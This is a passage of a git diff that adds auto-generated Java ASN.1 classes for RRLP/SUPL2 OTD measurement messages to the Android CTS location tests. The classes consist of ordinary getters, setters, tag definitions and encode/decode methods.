+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+// AUTO-GENERATED TYPE ALIAS
+import android.location.cts.asn1.base.Asn1Tag;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+public class OTD_MeasureInfo_5_Ext extends SeqOfOTD_MsrElementRest {
+ private static final Asn1Tag TAG_OTD_MeasureInfo_5_Ext = Asn1Tag.fromClassAndNumber(-1, -1);
+ public OTD_MeasureInfo_5_Ext() {
+ }
+
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MeasureInfo_5_Ext;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MeasureInfo_5_Ext != null) {
+ return ImmutableList.of(TAG_OTD_MeasureInfo_5_Ext);
+ } else {
+ return SeqOfOTD_MsrElementRest.getPossibleFirstTags();
+ } }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
new file mode 100755
index 0000000..057d986
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_R98_Ext.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_MeasureInfo_R98_Ext extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_MeasureInfo_R98_Ext
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_MeasureInfo_R98_Ext() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MeasureInfo_R98_Ext;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MeasureInfo_R98_Ext != null) {
+ return ImmutableList.of(TAG_OTD_MeasureInfo_R98_Ext);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MeasureInfo_R98_Ext from encoded stream.
+ */
+ public static OTD_MeasureInfo_R98_Ext fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MeasureInfo_R98_Ext result = new OTD_MeasureInfo_R98_Ext();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MeasureInfo_R98_Ext from encoded stream.
+ */
+ public static OTD_MeasureInfo_R98_Ext fromPerAligned(byte[] encodedBytes) {
+ OTD_MeasureInfo_R98_Ext result = new OTD_MeasureInfo_R98_Ext();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private OTD_MsrElementFirst_R98_Ext otdMsrFirstSets_R98_Ext_;
+ public OTD_MsrElementFirst_R98_Ext getOtdMsrFirstSets_R98_Ext() {
+ return otdMsrFirstSets_R98_Ext_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MsrElementFirst_R98_Ext
+ */
+ public void setOtdMsrFirstSets_R98_Ext(Asn1Object value) {
+ this.otdMsrFirstSets_R98_Ext_ = (OTD_MsrElementFirst_R98_Ext) value;
+ }
+ public OTD_MsrElementFirst_R98_Ext setOtdMsrFirstSets_R98_ExtToNewInstance() {
+ otdMsrFirstSets_R98_Ext_ = new OTD_MsrElementFirst_R98_Ext();
+ return otdMsrFirstSets_R98_Ext_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtdMsrFirstSets_R98_Ext() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtdMsrFirstSets_R98_Ext();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtdMsrFirstSets_R98_ExtToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MsrElementFirst_R98_Ext.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otdMsrFirstSets_R98_Ext : "
+ + getOtdMsrFirstSets_R98_Ext().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_MeasureInfo_R98_Ext = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java
new file mode 100755
index 0000000..e7b88e9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_Measurement.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_Measurement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_Measurement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_Measurement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_Measurement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_Measurement != null) {
+ return ImmutableList.of(TAG_OTD_Measurement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_Measurement from encoded stream.
+ */
+ public static OTD_Measurement fromPerUnaligned(byte[] encodedBytes) {
+ OTD_Measurement result = new OTD_Measurement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_Measurement from encoded stream.
+ */
+ public static OTD_Measurement fromPerAligned(byte[] encodedBytes) {
+ OTD_Measurement result = new OTD_Measurement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ModuloTimeSlot nborTimeSlot_;
+ public ModuloTimeSlot getNborTimeSlot() {
+ return nborTimeSlot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ModuloTimeSlot
+ */
+ public void setNborTimeSlot(Asn1Object value) {
+ this.nborTimeSlot_ = (ModuloTimeSlot) value;
+ }
+ public ModuloTimeSlot setNborTimeSlotToNewInstance() {
+ nborTimeSlot_ = new ModuloTimeSlot();
+ return nborTimeSlot_;
+ }
+
+ private EOTDQuality eotdQuality_;
+ public EOTDQuality getEotdQuality() {
+ return eotdQuality_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EOTDQuality
+ */
+ public void setEotdQuality(Asn1Object value) {
+ this.eotdQuality_ = (EOTDQuality) value;
+ }
+ public EOTDQuality setEotdQualityToNewInstance() {
+ eotdQuality_ = new EOTDQuality();
+ return eotdQuality_;
+ }
+
+ private OTDValue otdValue_;
+ public OTDValue getOtdValue() {
+ return otdValue_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTDValue
+ */
+ public void setOtdValue(Asn1Object value) {
+ this.otdValue_ = (OTDValue) value;
+ }
+ public OTDValue setOtdValueToNewInstance() {
+ otdValue_ = new OTDValue();
+ return otdValue_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNborTimeSlot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNborTimeSlot();
+ }
+
+ @Override public void setToNewInstance() {
+ setNborTimeSlotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ModuloTimeSlot.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nborTimeSlot : "
+ + getNborTimeSlot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getEotdQuality() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEotdQuality();
+ }
+
+ @Override public void setToNewInstance() {
+ setEotdQualityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EOTDQuality.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eotdQuality : "
+ + getEotdQuality().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtdValue() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtdValue();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtdValueToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTDValue.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otdValue : "
+ + getOtdValue().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_Measurement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
new file mode 100755
index 0000000..b43a206
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasurementWithID.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_MeasurementWithID extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_MeasurementWithID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_MeasurementWithID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MeasurementWithID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MeasurementWithID != null) {
+ return ImmutableList.of(TAG_OTD_MeasurementWithID);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MeasurementWithID from encoded stream.
+ */
+ public static OTD_MeasurementWithID fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MeasurementWithID result = new OTD_MeasurementWithID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MeasurementWithID from encoded stream.
+ */
+ public static OTD_MeasurementWithID fromPerAligned(byte[] encodedBytes) {
+ OTD_MeasurementWithID result = new OTD_MeasurementWithID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NeighborIdentity neighborIdentity_;
+ public NeighborIdentity getNeighborIdentity() {
+ return neighborIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NeighborIdentity
+ */
+ public void setNeighborIdentity(Asn1Object value) {
+ this.neighborIdentity_ = (NeighborIdentity) value;
+ }
+ public NeighborIdentity setNeighborIdentityToNewInstance() {
+ neighborIdentity_ = new NeighborIdentity();
+ return neighborIdentity_;
+ }
+
+ private ModuloTimeSlot nborTimeSlot_;
+ public ModuloTimeSlot getNborTimeSlot() {
+ return nborTimeSlot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ModuloTimeSlot
+ */
+ public void setNborTimeSlot(Asn1Object value) {
+ this.nborTimeSlot_ = (ModuloTimeSlot) value;
+ }
+ public ModuloTimeSlot setNborTimeSlotToNewInstance() {
+ nborTimeSlot_ = new ModuloTimeSlot();
+ return nborTimeSlot_;
+ }
+
+ private EOTDQuality eotdQuality_;
+ public EOTDQuality getEotdQuality() {
+ return eotdQuality_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EOTDQuality
+ */
+ public void setEotdQuality(Asn1Object value) {
+ this.eotdQuality_ = (EOTDQuality) value;
+ }
+ public EOTDQuality setEotdQualityToNewInstance() {
+ eotdQuality_ = new EOTDQuality();
+ return eotdQuality_;
+ }
+
+ private OTDValue otdValue_;
+ public OTDValue getOtdValue() {
+ return otdValue_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTDValue
+ */
+ public void setOtdValue(Asn1Object value) {
+ this.otdValue_ = (OTDValue) value;
+ }
+ public OTDValue setOtdValueToNewInstance() {
+ otdValue_ = new OTDValue();
+ return otdValue_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNeighborIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNeighborIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setNeighborIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NeighborIdentity.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "neighborIdentity : "
+ + getNeighborIdentity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNborTimeSlot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNborTimeSlot();
+ }
+
+ @Override public void setToNewInstance() {
+ setNborTimeSlotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ModuloTimeSlot.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nborTimeSlot : "
+ + getNborTimeSlot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEotdQuality() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEotdQuality();
+ }
+
+ @Override public void setToNewInstance() {
+ setEotdQualityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EOTDQuality.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "eotdQuality : "
+ + getEotdQuality().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtdValue() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtdValue();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtdValueToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTDValue.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otdValue : "
+ + getOtdValue().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_MeasurementWithID = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
new file mode 100755
index 0000000..9dd7f5b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MsrElementFirst.java
@@ -0,0 +1,687 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_MsrElementFirst extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_MsrElementFirst
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_MsrElementFirst() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MsrElementFirst;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MsrElementFirst != null) {
+ return ImmutableList.of(TAG_OTD_MsrElementFirst);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MsrElementFirst from encoded stream.
+ */
+ public static OTD_MsrElementFirst fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MsrElementFirst result = new OTD_MsrElementFirst();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MsrElementFirst from encoded stream.
+ */
+ public static OTD_MsrElementFirst fromPerAligned(byte[] encodedBytes) {
+ OTD_MsrElementFirst result = new OTD_MsrElementFirst();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private OTD_MsrElementFirst.refFrameNumberType refFrameNumber_;
+ public OTD_MsrElementFirst.refFrameNumberType getRefFrameNumber() {
+ return refFrameNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MsrElementFirst.refFrameNumberType
+ */
+ public void setRefFrameNumber(Asn1Object value) {
+ this.refFrameNumber_ = (OTD_MsrElementFirst.refFrameNumberType) value;
+ }
+ public OTD_MsrElementFirst.refFrameNumberType setRefFrameNumberToNewInstance() {
+ refFrameNumber_ = new OTD_MsrElementFirst.refFrameNumberType();
+ return refFrameNumber_;
+ }
+
+ private ModuloTimeSlot referenceTimeSlot_;
+ public ModuloTimeSlot getReferenceTimeSlot() {
+ return referenceTimeSlot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ModuloTimeSlot
+ */
+ public void setReferenceTimeSlot(Asn1Object value) {
+ this.referenceTimeSlot_ = (ModuloTimeSlot) value;
+ }
+ public ModuloTimeSlot setReferenceTimeSlotToNewInstance() {
+ referenceTimeSlot_ = new ModuloTimeSlot();
+ return referenceTimeSlot_;
+ }
+
